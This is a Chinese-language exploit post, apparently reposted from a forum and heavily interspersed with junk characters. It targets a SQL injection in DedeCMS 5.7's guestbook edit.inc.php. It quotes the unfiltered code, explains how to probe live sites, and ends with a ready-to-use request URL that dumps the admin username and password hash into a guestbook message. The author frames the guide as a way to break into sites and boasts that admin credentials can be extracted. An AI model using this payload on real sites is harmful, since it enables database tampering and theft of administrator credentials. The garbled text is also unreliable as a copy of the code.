影响版本为5.7' x3 D; m7 G; q
7 x1 _% z; ~) f漏洞文件edit.inc.php具体代码:
' M$ B5 }8 {- w1 q( N) D" B5 o3 T; F5 t3 k
< ?php
0 v' e3 [1 |( N+ b6 F0 Z2 k) @( o2 ?! u+ j
if(!defined('DEDEINC')) exit('Request Error!');
% }6 ^& Z% ?1 d; D: \+ y: T# C5 s" N2 t& i; [) e: I
6 j# H/ o1 l( e9 n' o9 G6 Q' q: ~& |( q, c% c4 r6 S1 q3 E1 B" O
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; ; U8 C/ Q) n5 [8 L6 K S
' X7 h& ^$ |4 n
else $GUEST_BOOK_POS = "guestbook.php";
* U1 y T' g: n& i! U
6 R$ _, v u6 g. L / ]5 Q: Y# o3 X# m) U' D* D
' j5 j; R8 G2 B/ X) b/ w- s5 `$id = intval($id); 5 Q5 e$ U* `0 }4 i" Z
+ l2 N- T9 @& B1 m nif(empty($job)) $job='view';
; w6 c9 p6 t, x) r2 v
1 X3 R+ k8 A( }3 f; x$ v! x# C 9 @6 l1 k n4 r) ?
8 t. I# Y* N0 h2 |( \if($job=='del' && $g_isadmin) 4 F: M6 a* @( _
, K% @1 ?$ Z8 Q
{
+ P, A- s$ J6 _) ]8 Y: f5 {3 I, r- \3 _3 \3 [9 l: Q
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); n' D2 l; O& {# H4 W
; [5 v, W2 @( R+ L" `
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
8 d9 v! R/ b3 @. U6 n8 C
& ]# T; E# ]/ V( G- s# N$ `+ mexit();
8 K0 Q: U# I8 D2 q% l6 Q
/ r/ C" P6 ]8 s% L} ' m$ J! o/ J' K( g( c* @" c! W3 Z
; L0 w" c/ u2 r4 b+ v9 g
else if($job=='check' && $g_isadmin)
$ C& h l5 B1 n; [0 p5 Y. Q! M0 N! q& b$ n
{
& s: f$ Q9 L! h6 Y# f. \% s' c0 Y7 }, s) A6 t
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); , j! s; r ^7 I
( n6 J9 @/ i; X3 ?
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); / {3 |9 L3 t0 k& W
: I5 i1 e' k" Zexit(); 6 k7 i6 c4 l3 w4 j2 T
: S+ N1 k& I L' J}
% h( M4 B' L: a/ T2 R7 h
# f* E+ q5 N) J9 oelse if($job=='editok') * u0 Z( A- ]8 W' N3 N% n6 e$ O7 Q0 I
& t+ l; X0 ?, e6 k/ @- d3 m' h5 Q, H
{ ( y! ~9 m( L: ?' \4 @6 B2 C
" p1 c7 D$ ~' ^7 f8 B
$remsg = trim($remsg);
: A5 B* v! F0 u& {' \6 q
5 r3 U* p, ^! P( Vif($remsg!='')
/ e7 T* U3 t0 T7 M
7 L% A; C9 L' I3 X{
" _, T5 a+ ^ o) L
$ C6 Y k% y! [% w ^; v//管理员回复不过滤HTML By:Errorera blog:errs.cc
. J' a, B6 n& C$ x- e
l$ Q @2 m) l4 [if($g_isadmin) 4 ^% Z, h; W1 J, ]& R( g' L
1 E' k/ |0 a0 q8 \# {5 _{ : d4 [/ d- L" R+ m( w6 d& O% t: K
& S9 C# D& n8 K; C
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; : v: l% y: g( `4 g5 }; n" I2 J
3 F0 W; v* T) ]% k# Y7 O8 Y
//$remsg <br /><font color=red>管理员回复:</font> }
0 \5 s2 @0 S5 E. w* |/ t
# H+ s" `/ L' I( d( N; v2 pelse
, D0 ]3 l1 ^" G' E% i3 y! j" P$ A/ g% I0 }- Y% }
{
5 K) {+ Q; @. f
, F1 g5 k) H1 d" a5 V9 \$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); 2 j& p9 l2 y# q5 a
0 d) W# X" C) C# @' i. G$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; : \4 d5 y% z! H! z3 V& g- r0 q
& i2 a: i6 b+ L/ D$remsg = trimMsg(cn_substrR($remsg, 1024), 1); 5 r2 g% y* W( j. d# A! V* G
1 m- l) F! }( K! k6 g: h- X- E" e
$msg = $oldmsg.$remsg; * {3 \6 e& T! G; n8 z$ H7 @, L* [! t
( t7 Y1 ]2 }" X3 ] w) v/ ?} % t H% T3 m/ l: e
0 J5 w* x& I4 R# v4 Q
} - d: ~) u# S& x6 T
* z$ f m& L0 i& d" R$ ]! y//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc 8 `* P1 m& ~4 |/ h [
; P7 D4 f P. ^) D: @: L& K$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
$ T+ b7 a9 Y+ |: C% }6 z0 L
+ T" g0 T5 L* D6 M* T$ hShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
( w. f, k' n- v8 N9 U K& i3 @% O/ N
exit(); 6 [. D9 f- ~1 A v
8 b! Y/ w& ~1 z5 \% P" ^
} 6 q: S/ U% r2 I/ d& q- @" c
\ r$ O( T( {* O" ^( q- f1 I8 d( C; l
//home:www.errs.cc
, u* u% ?- P& F5 I9 l3 ]1 I" V
; j, N3 _$ L" }; C7 }if($g_isadmin)
l5 e: I4 k$ a" M0 K1 ?
1 | w! P0 p' n; H{ 5 @" [+ O% @$ E: m& D
9 B1 o( d0 ^. F' E! F. O$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); 4 i/ E1 I$ t5 L: a3 i
* Q* Y" B* Q/ l C9 r; T( m# H1 Hrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); 5 M: w6 D6 _4 ?
9 K$ p% i5 `5 s4 ~3 f} & A/ m, q: _* ~. i2 J( g
0 n8 J1 M) L" _' S+ i( melse T- C4 M1 e9 F! \/ c- F5 ]
! {( [2 z- Q- c4 p
{
& b, L$ X& l% ?3 o7 b) F" W
" `2 J- h: H# i* _) B0 s X$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); X) S3 ~; x6 R6 \ ~
, ~5 F& I! S/ D9 Z s
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
0 k( O& P5 h& m/ k# h: s% w9 S
, W2 k& r# R7 v ^ j1 b; b. h} 漏洞成功需要条件:1 m; v7 V }1 x6 b
1. php magic_quotes_gpc=off3 |! H' f; E S( l( K, h% d8 `
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
6 E8 B3 j8 Y% O- p! M( z( [% M( P) g- \; ~5 ~
怎么判断是否存在漏洞:7 C6 v; s, h& R
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,0 c. {+ C: }$ V" e! d
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
( m1 ^* G7 `2 T访问:( G' `+ r5 _/ g7 O$ H$ F* _, u/ Q
' ~) P8 l E U4 v* owww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
; W a* }8 j/ I! i$ G! q, y, T跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证, A2 [/ E' ? F% a
: l a: J2 u1 o4 ]3 A- ~
) T$ U8 ]9 B! d1 w
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off% x5 M0 |2 N% k' O+ o
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
& L6 _: s! H; ]. L# w F. l那么再次访问
4 n5 H3 C7 O* T2 U( G& j0 L: |/ M) e
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().6 \: @' d( ]' c! C7 i
' k0 {- I9 Q) b" j- @& M1 M大概利用就是这样,大家有兴趣的多研究下!!
' }1 q' N+ y A6 \2 i0 U9 V) Y& @% A l7 c
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!$ ]; K" B$ L% K- t' J+ J }
! v( ]6 y6 m$ H2 t+ jview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |